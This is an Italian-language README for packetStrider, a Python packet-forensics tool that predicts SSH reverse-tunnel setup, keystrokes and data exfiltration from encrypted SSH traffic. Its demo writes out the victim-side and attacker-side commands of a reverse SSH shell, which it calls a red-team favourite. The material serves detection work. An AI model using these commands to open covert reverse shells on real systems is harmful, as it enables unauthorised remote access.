
Uno strumento di analisi forense dei pacchetti di rete per SSH

packetStrider per SSH è uno strumento di analisi forense di pacchetti che mira a fornire preziose informazioni sulla natura del traffico SSH, illuminando gli angoli del traffico di rete SSH dove prima giacevano pepite d'oro di informazione nell'oscurità.
SSH è ovviamente crittografato, ma informazioni contestuali preziose esistono ancora nel traffico di rete che possono contribuire a TTP, intenzione, successo e entità delle azioni sugli obiettivi. Potrebbero anche esistere situazioni in cui il contesto prezioso non è disponibile o viene eliminato dagli host, e quindi avere una cattura di rete passiva immutabile e non alterabile fornisce un contesto forense aggiuntivo. "I pacchetti non mentono".
Separatamente dal contesto forense, le previsioni di packet strider potrebbero anche essere utilizzate in modo attivo, ad esempio per shun/RST connessioni in avanti se viene prevista una caratteristica di avvio di sessione SSH inversa tunnelata, anche prima che venga offerta l'autenticazione inversa.
È stato utilizzato Python3, e avrai bisogno dei seguenti moduli (YMMV su python2)
pip3 install pandas matplotlib pyshark
Utilizzo:
python3 packetStrider-ssh.py -h
Output:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
Il pcap "forward_reverse.pcap" proviene da un comune TTP di una shell SSH inversa, un favorito di tutti i red team. Nello specifico, sono stati utilizzati i seguenti comandi per evidenziare le capacità di packet strider in modo semplice:
Connessione forward dalla vittima
ssh [email protected] -R 31337:localhost:22 che lega la porta locale 31337 pronta per la connessione SSH inversa di ritorno al PC vittima. Questa connessione può essere effettuata in molti modi, incluso manualmente, tramite RCE, SSRF, o qualche forma di persistenza. Ai fini di questa demo, è una sessione forward standard manuale.ls viene digitato nella sessione forward, in questa sequenza: 'l' 'w' 'w' 'back-space' 'back-space' 's' e poi invio. La dimensione totale dei dati trasmessi sulla rete (come output di ls) è classificata come infiltrazione, dato che è in entrata.Ora sulla macchina dell'attaccante (il server), viene avviata una shell inversa di ritorno alla vittima:
ssh victim@localhost -p 31337. A questo punto, che è anche prima che inizi il processo di autenticazione, packet strider ha identificato l'avvio della sessione SSH inversa, al pacchetto 72last viene eseguito sotto forma di sequenze di tasti 'l' 'a' 's' 'r' 'canc' 't' 'invio'who viene eseguito sotto forma di 'w' 'h' 'o' 'invio'exit viene eseguito sotto forma di 'e' 'x' 'i' 't'Poi infine con la sessione Forward la sessione viene chiusa, solo per dimostrare che il rilevamento delle feature SSH forward funziona ancora.
exitIl traffico di rete da questa attività viene salvato in tcpdump.pcap e ora è il momento di eseguire Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Questo plot mostra una linea temporale delle previsioni chiave (l'immagine è stata annotata qui)

Questo plot mostra alcune statistiche delle finestre, utili per un approfondimento e per sperimentare con le feature.

Questo plot mostra un semplice istogramma

Questo progetto è stato realizzato come Proof of Concept personale, come modo per me di esercitarmi con alcune librerie di data science in Python, è stato fortemente ispirato dai miei studi su Coursera in Machine Learning e Data Science, in particolare la libreria pandas e il modo in cui le Reti Neurali Convoluzionali (CNN) "scorrono" attraverso set di pixel di immagini utilizzando finestre scorrevoli per rilevare determinate feature all'interno.
Packet Strider fa una vasta quantità di "scorrimento" in modalità piena capacità. Questo può comportare un uso sostanziale di risorse se il pcap è grande, o più precisamente se ci sono molti pacchetti nel pcap. Ecco alcuni consigli per accelerare, questi sono particolarmente utili come esecuzione iniziale ad esempio solo per vedere se è stata prevista attività SSH inversa, e poi aggiungere funzionalità se desideri.
Usa a tuo rischio. Vedi i termini di licenza.